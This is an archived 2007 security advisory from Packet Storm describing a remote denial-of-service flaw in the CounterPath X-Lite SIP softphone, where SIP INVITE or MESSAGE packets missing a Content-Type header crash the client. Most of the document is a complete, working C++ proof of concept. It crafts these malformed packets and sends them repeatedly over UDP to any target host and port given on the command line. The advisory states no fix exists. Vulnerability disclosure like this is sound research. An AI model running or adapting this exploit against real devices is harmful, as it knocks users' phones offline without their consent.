Lucene search

K
packetstormZwellPACKETSTORM:58498
HistoryAug 14, 2007 - 12:00 a.m.

counterpath-dos.txt

2007-08-1400:00:00
Zwell
packetstormsecurity.com
13
`Title  
=====  
CounterPath X-Lite SIP phone Remote Denial of Service vulnerability  
  
Date  
====  
10 August 2007  
  
Affected Software  
=================  
X-Lite versions 3.x (tested on 3.0 34025)  
Maybe eyeBeam also ;)  
  
Overview  
========  
X-Lite by CounterPath Solutions, Inc. is a free and wild used SIP based softphone. More information about X-Lite   
  
can be found here: www.counterpath.com  
A message validation check flaw in X-Lite SIP phone implementation may allow a remote attacker to crash the phone   
  
causing denial of service.   
  
Vulnerability Description  
=====================  
The vulnerability occurs as a result of how the SIP client component handles an incorrectly sip packet. Method of   
  
INVITE or MESSAGE will be ok. MESSAGE is a sip method for Instant Messaging.   
After X-Lite receive a malformed packet without "Content-Type" field, we call "Missing Content-Type Vulnerability",   
  
it will be crash.  
  
Solution  
========  
Not really.  
  
Credit  
======  
This vulnerability was discovered by Zwell. http://www.nosec.org  
  
PoC  
===  
/**********main.cpp***********/  
#include <stdio.h>  
#include <string>  
using namespace std;   
  
#ifdef WIN32  
#include <winsock2.h>  
#pragma comment(lib, "ws2_32.lib")  
#define close closesocket  
#define write(a,b,c) send(a, b, c, 0)  
#define writeto(a,b,c,d,e) sendto(a, b, c, 0, d, e)  
#define read(a,b,c) recv(a, b, c, 0)  
#define readfrom(a,b,c,d,e) recvfrom(a, b, c, 0, d, e)  
#else  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <netinet/tcp.h>  
#include <netdb.h>  
#include <arpa/inet.h>  
#define closesocket close  
#define SOCKET int  
#define DWORD unsigned long  
#endif  
  
char *craft_pkt[] =  
{  
"MESSAGE sip:[FROMUSER]@[DOMAIN] SIP/2.0\r\n"  
"Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]\r\n"  
"From: [FROMUSER] <sip:[FROMADDR]:[LOCALPORT]>;tag=[TAG]\r\n"  
"To: <sip:[TOADDR]>\r\n"  
"Call-ID: [CALLID]@[DOMAIN]\r\n"  
"CSeq: [CSEQ] MESSAGE\r\n"  
"Contact: <sip:[FROMUSER]@[DOMAIN]:[LOCALPORT]>\r\n"  
"Content-Length: 0\r\n\r\n",  
  
"INVITE sip:[FROMUSER]@[DOMAIN] SIP/2.0\r\n"  
"Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]\r\n"  
"To: <sip:[TOADDR]>\r\n"  
"From: [FROMUSER] <sip:[FROMADDR]:[LOCALPORT]>;tag=[TAG]\r\n"  
"Call-ID: [CALLID]@[DOMAIN]\r\n"  
"CSeq: [CSEQ] INVITE\r\n"  
"Contact: <sip:[FROMUSER]@[DOMAIN]:[LOCALPORT]>\r\n"  
"Content-Length: 0\r\n\r\n",  
};  
  
void socket_init()  
{  
#ifdef WIN32  
WSADATA wsaData;  
WSAStartup(MAKEWORD(2,0), &wsaData);  
#endif  
}  
  
unsigned long resolv(const char *host)  
{  
struct hostent *hp;  
unsigned long host_ip;  
  
host_ip = inet_addr(host);  
if( host_ip == INADDR_NONE )  
{  
hp = gethostbyname(host);  
if(!hp)  
{  
printf("\nError: Unable to resolve hostname (%s)\n",host);  
exit(1);  
}  
else  
host_ip = *(u_long*)hp->h_addr ;  
}  
  
return(host_ip);  
}  
  
SOCKET udpsocket()   
{  
/* network */  
SOCKET sockfd;  
struct sockaddr_in laddr, raddr;  
  
sockfd = socket(AF_INET, SOCK_DGRAM, 0);  
if (sockfd == -1)  
goto error;  
  
memset((char *) &laddr, 0, sizeof(laddr));  
laddr.sin_family = AF_INET;  
laddr.sin_addr.s_addr = htonl(INADDR_ANY);  
if (bind(sockfd, (struct sockaddr *) &laddr, sizeof(laddr)) == -1)  
goto error;  
  
return sockfd;  
  
error:  
#ifdef WIN32  
printf("Error:%d\n", GetLastError());  
#endif  
return 0;  
}  
  
  
string &replace_all(string &str,const string& old_value,const string& new_value)   
{   
while(true)   
{   
string::size_type pos(0);   
if( (pos=str.find(old_value))!=string::npos)   
str.replace(pos,old_value.length(),new_value);   
else break;   
}   
return str;   
}   
  
string &replace_with_rand(string &str, char *value, int len)  
{  
char *strspace = "0123456789";  
char randstr[100];  
for(int i=0; i<len; i++)  
{  
do  
{  
randstr[i] = strspace[rand()%strlen(strspace)];  
}while(randstr[i] == '0');  
}  
randstr[len] = 0;  
replace_all(str, value, randstr);  
return str;  
}  
  
string build_packet(string _packet, char *addr, char *host)  
{  
string packet = _packet;  
replace_all(packet, "[FROMADDR]", addr);  
replace_all(packet, "[TOADDR]", host);  
replace_all(packet, "[DOMAIN]", "www.nosec.org");  
replace_all(packet, "[FROMUSER]", "siprint");  
replace_with_rand(packet, "[CSEQ]", 9);  
replace_with_rand(packet, "[CALLID]", 9);  
replace_with_rand(packet, "[TAG]", 9);  
replace_with_rand(packet, "[BRANCH]", 9);  
return packet;  
}  
  
int main(int argc, char **argv)  
{  
char *host;  
int port;  
char *localip;  
struct sockaddr_in sockaddr;  
struct sockaddr_in raddr;  
int sockaddrlen = sizeof(sockaddr);  
SOCKET s;  
  
printf("X-Lite Missing Content-Type DOS PoC\n");  
  
if(argc != 4)  
{  
printf("usage : %s <host> <port> <localip>\n", argv[0]);  
exit(-1);  
}  
  
host = argv[1];  
port = atoi(argv[2]);  
localip = argv[3];  
  
socket_init();  
s = udpsocket();  
if(s == 0)  
{  
printf("Create udp socket error!\n", host, port);  
return 1;  
}  
memset(&sockaddr, 0, sockaddrlen);  
getsockname(s, (struct sockaddr *) &sockaddr, (int *) &sockaddrlen);  
  
raddr.sin_family = AF_INET;  
raddr.sin_addr.S_un.S_addr = resolv(host);  
raddr.sin_port = htons(port);  
for(int i=0; i<20; i++)  
{  
char portstr[6] = {'\0'};  
string packet = build_packet(craft_pkt[i%2], localip, host);  
sprintf(portstr, "%d", ntohs(sockaddr.sin_port));  
replace_all(packet, "[LOCALPORT]", portstr);  
//printf("===========\n%s\n===========\n", packet.c_str());  
writeto(s, packet.c_str(), packet.length(), (struct sockaddr*)&raddr, sockaddrlen);  
Sleep(100);  
}  
  
return 0;  
}  
`